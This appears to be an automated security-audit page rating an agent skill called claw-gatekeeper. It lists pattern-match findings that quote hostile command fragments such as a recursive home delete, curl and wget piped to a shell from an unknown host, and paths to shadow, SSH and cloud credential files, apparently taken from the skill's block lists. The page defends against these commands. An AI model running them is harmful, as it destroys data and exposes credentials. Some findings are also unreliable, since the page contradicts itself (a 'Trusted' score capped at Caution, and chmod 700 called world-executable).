ClawAudit verdict

claw-gatekeeper

88
🟢 Trusted
Low risk — reviewed by ClawAudit, behavior matches stated purpose

This is a security control skill that intercepts risky operations and requires human confirmation; it acts as a safety layer and the credential_store capability is for tracking session approvals, not for accessing or sending secrets.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. ClawAudit flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
60
transparency
70
maintenance

Findings (14)

Pattern match critical

Recursive delete from root or home — destructive command

SKILL.md · code · rm -rf ~

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

references/user_guide.md · code · curl https://unknown-site.com/script.sh | bash

Pattern match critical

Pipe to bash — executes piped content as shell commands

references/user_guide.md · code · | bash

Pattern match critical

Pipe to sh — executes piped content as shell commands

references/user_guide.md · code · | sh

Pattern match high

Accesses sensitive system files

SKILL.md · prose · downgraded · /etc/shadow

Pattern match high

Accesses .ssh directory

references/user_guide.md · code · .ssh/

Pattern match high

Pipe-to-shell pattern (wget | sh)

config/config.hardened.json · prose · downgraded · wget .* | sh

Pattern match high

Accesses cloud provider credentials

SECURITY.md · code · ~/.aws

Pattern match high

Accesses Azure credentials directory

references/risk_matrix.md · prose · downgraded · ~/.azure

Pattern match medium

Accesses shell history/config

config/config.hardened.json · prose · downgraded · ~/.bash_history

Pattern match medium

References sudo — requests elevated privileges

references/risk_matrix.md · prose · downgraded · Sudo

Pattern match medium

Sets world-executable permissions

SECURITY.md · code · chmod 700

Pattern match medium

Instructs covert action — may act without user awareness

references/user_guide.md · prose · downgraded · silently

Pattern match low

Changes file ownership

config/config.hardened.json · prose · downgraded · chown

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

credential_store

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API